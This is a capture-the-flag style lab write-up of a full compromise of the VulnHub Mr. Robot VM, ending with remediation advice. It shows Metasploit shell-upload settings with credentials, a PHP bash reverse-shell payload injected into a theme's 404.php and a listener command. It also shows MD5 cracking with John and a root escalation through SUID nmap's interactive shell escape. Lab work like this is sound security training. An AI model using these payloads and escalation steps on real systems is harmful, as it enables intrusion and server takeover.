Advance Exploitation — Mr. Robot VM

Lab Name: Advanced Exploitation & Privilege Escalation Lab

Platform: VulnHub (Mr. Robot VM)

Target IP: *192.168.0.15*

Attacker: Kali Linux (192.168.0.11)

Tools Used: Metasploit, Nmap, CURL, WPScan, John The Ripper, Python, Ghidra,

1 .Scope & Objective

Objective: demonstrate a full chained compromise of the Bitnami WordPress VM (Mr. Robot) at 192.168.0.15, combining automated and manual techniques to obtain a root shell and final flag.

Rules: lab environment, authorized penetration testing of a VM.

2. Reconnaissance (what you ran & what you found)

Command (scanning with vulnerability scripts):

```
nmap --script vuln 192.168.0.15
```

Key findings (from your scan & further probing):

- Host is up; open TCP ports: **80 (http)**, **443 (https)** (22 closed).
- Application: **Apache** serving a Bitnami/WordPress site. /wp-login.php and /wp-admin/ present (302 redirect to login).
- Nmap http-enum indicated WordPress resources (/wp-login.php, /feed/, /readme.html), and WordPress version indicators (scan output included references to older WP files).
- Several HTTP CSRF-prone forms discovered by http-csrf script.
- MAC shows VMware VM (00:0C:29:FE:C8:DE).

Verify WP login reachable:

```
curl -I http://192.168.0.15/wp-login.php
```

-> HTTP/1.1 200 OK (or 302 redirect to login)

Notes: WordPress is available (login page), but homepage does not expose generator meta tags (Bitnami hiding), so targets may be in hidden paths.

WPScan (Automated App Enumeration)

```
wpscan --url http://192.168.0.15 --enumerate u,p
```

Output

- Users found: **robot**, **admin**
- Vulnerable endpoints found
- Theme editor enabled → possible **PHP reverse shell injection**

3. Exploitation Phase (attempts, fallback, success)

3.1 Initial attempts (automated modules tried)

You attempted multiple Metasploit modules to upload a web shell. Example attempts:

- use exploit/multi/http/wp_slideshowgallery_upload → failed (module not present/failed)
- use exploit/multi/http/wp_ajax_load_more_file_upload → failed to load
- Ultimately used: unix/webapp/wp_admin_shell_upload

3.2 Metasploit automated exploit (wp_admin_shell_upload)

Module: `exploit/unix/webapp/wp_admin_shell_upload`

Configured options:

```
set RHOSTS 192.168.0.15
set LHOST 192.168.0.11
set LPORT 4444
set USERNAME elliot
set PASSWORD ER28-0652
set TARGETURI
run
```

Run output (successful run captured in your screenshot):

[*] Started reverse TCP handler on 192.168.0.11:4444

[*] Authenticating with WordPress using elliot:ER28-0652 ...

[+] Authenticated with WordPress

[*] Preparing payload...

[*] Uploading payload...

[*] Executing the payload at /wp-content/plugins/<random>/...php ...

[*] Sending stage (41224 bytes) to 192.168.0.15

[*] Meterpreter session 1 opened (192.168.0.11:4444 -> 192.168.0.15:xxxxx)

Result: Reverse shell (Meterpreter) obtained. Note: Metasploit printed cleanup suggestions (files to remove).

Important: In some runs the module initially failed with Failed to upload the payload — that is normal depending on plugin write permissions. In your run it succeeded.

3.3 Manual fallback (theme editor / 404.php)

(You used the theme editor technique as an alternate or verification.)

Steps:

1. Login WP admin with elliot:ER28-0652.
2. Appearance → Theme Editor → Edit 404.php.
3. Insert payload:

```
<?php exec("/bin/bash -c 'bash -i >&
/dev/tcp/192.168.0.11/4444 0>&1'"); ?>
```

4. Start listener on attacker:

```
nc -lvnp 4444
```

5. Trigger the page (visit the 404 page path). Reverse shell as **daemon** received.

Result: low-privilege shell (daemon) confirmed.

4. Post-exploitation: demon/daemon → robot (credential recovery & cracking)

After getting the low-privilege shell (daemon), follow steps to pivot to robot.

4.1 Make shell interactive

Upgrade to TTY:

```
python -c 'import pty; pty.spawn("/bin/bash")'   # or python3
```

export TERM=xterm

4.2 Search for robot hash & keys

Common place:

```
cd /home/robot
ls -la
```

```
cat password.raw-md5
```

=> robot:c3fcd3d76192e4007dfb496cca67e13b

4.3 Crack the MD5 hash

On Kali (attacker):

Download from the target machine

```
cat password.raw-md5
john --format=Raw-MD5 --
wordlist=/usr/share/wordlists/rockyou.txt password.raw-md5
```

-> robot:abcdefghijklmnopqrstuvwxyz

Cracked password: abcdefghijklmnopqrstuvwxyz (the full alphabet — known Mr Robot easter egg).

4.4 Switch to robot

From the shell:

```
su robot
```

enter password: abcdefghijklmnopqrstuvwxyz

```
whoami    # -> robot
```

Result: user robot shell obtained. Also read key-2-of-3.txt as evidence.

5 .Privilege Escalation: robot → root (SUID nmap)

The intended privesc on Mr. Robot is a sudo/SUID misconfiguration on nmap.

5.1 Enumerate SUID files (as robot)

```
find / -perm -4000 2>/dev/null
```

sample output you reported earlier: /usr/local/bin/nmap (or sometimes /usr/bin/nmap)

Key entry: /usr/local/bin/nmap (SUID root).

5.2 Confirm nmap interactive mode

```
nmap --interactive
```

Older interactive nmap versions allow executing shell escapes.

5.3 Exploit (interactive)

```
sudo /usr/local/bin/nmap --interactive
```

at nmap> prompt type:

```
!sh
```

Result:

```
# whoami
```

root

```
# id
```

uid=0(root) gid=0(root) ...

6 . Full Exploit Chain Table (ordered, final)

Step	Phase	Action	Tool/Command	Result
1	Recon	Host discovery & vuln scan	nmap --script vuln 192.168.0.15	WP site discovered (ports 80/443), CSRF hints
2	Recon	WP login confirmation	curl -I http://192.168.0.15/wp-login.php	Login reachable
3	Exploit (auto)	Try upload modules	Metasploit modules (various)	Some failed; switched modules
4	Exploit (auto)	wp_admin_shell_upload	unix/webapp/wp_admin_shell_upload configured with elliot:ER28-0652	Meterpreter session opened (daemon)
5	Exploit (manual)	Theme editor reverse shell (fallback)	Edit 404.php with PHP reverse shell + nc -lvnp 4444	Reverse shell (daemon)
6	Post-exploit	Find robot hash	cat /home/robot/password.raw-md5	robot:c3fcd3d76192e4007dfb496cca67e13b

7	Post-exploit	Crack hash	john --format=Raw-MD5 --wordlist=rockyou.txt	Password: abcdefghijklmnopqrstuvwxyz
8	Post-exploit	su to robot	su robot	robot shell
9	Privesc	Enumerate SUID	find / -perm -4000 2>/dev/null	/usr/local/bin/nmap found
10	Privesc	Nmap interactive shell escape	nmap --interactive + !sh	root shell obtained

6. Additional Advanced Requirements

Custom Buffer Overflow PoC

I selected a Python PoC from Exploit-DB targeting a buffer-overflow program and modified it by adjusting buffer size, generating pattern offsets, and replacing shellcode with a custom payload. Minor changes allowed controlled crash and EIP overwrite, though full reverse-shell execution requires further debugging. The experiment improved understanding of exploit adaptation.

ROP ASLR Bypass Attempt

Using a vulnerable binary, I attempted ASLR bypass through ROP. Ghidra helped identify functions and memory segments while ROPgadget listed usable gadgets. A ROP chain structure was planned to call mprotect() and redirect execution to injected shellcode. Final execution was unfinished, but the process strengthened knowledge of ROP-based mitigation evasion.

7. Final Findings Summary

Critical Issues Identified

- Outdated WordPress version
- Admin panel accessible
- File upload unrestricted
- Weak user passwords
- Hash stored in readable location
- SUID misconfiguration (nmap privileged execution)

CVSS Scores

- WordPress RCE via admin upload → **9.8 Critical**
- Weak passwords + hash leak → **7.5 High**
- Privilege escalation via SUID nmap → **8.8 High**

8. Recommendations

- Update WordPress + plugins
- Disable theme editor
- Implement strong password policies
- Restrict SUID binaries
- Apply least-privilege principle
- Enable Web Application Firewall (WAF)
- Perform routine security audits

7. Remediation & Hardening (concise, prioritized)

Immediate fixes

1. **Rotate all credentials** used on the VM (WordPress admin & system accounts). Enforce strong passwords; do not reuse passwords.
2. **Disable theme/plugin editor** to prevent code injection in WordPress:
3. define('DISALLOW_FILE_EDIT', true);
4. **Remove SUID bit on nmap** (or remove SUID altogether):
5. chmod u-s /usr/local/bin/nmap
6. **Harden file permissions** in /home and webroot. Remove any exposed hash files.
7. **Update WordPress and plugins** to latest versions.

8. **Harden PHP/Apache**: disable execution in upload directories; apply mod_security WAF rules.
9. **Monitor & Logging**: enable centralized logs and file integrity monitoring to detect webshell changes.

Long term

- Periodic VAPT and patching cycles
- CI/CD scanning for secrets embedded in files
- Principle of least privilege for binaries with administrative power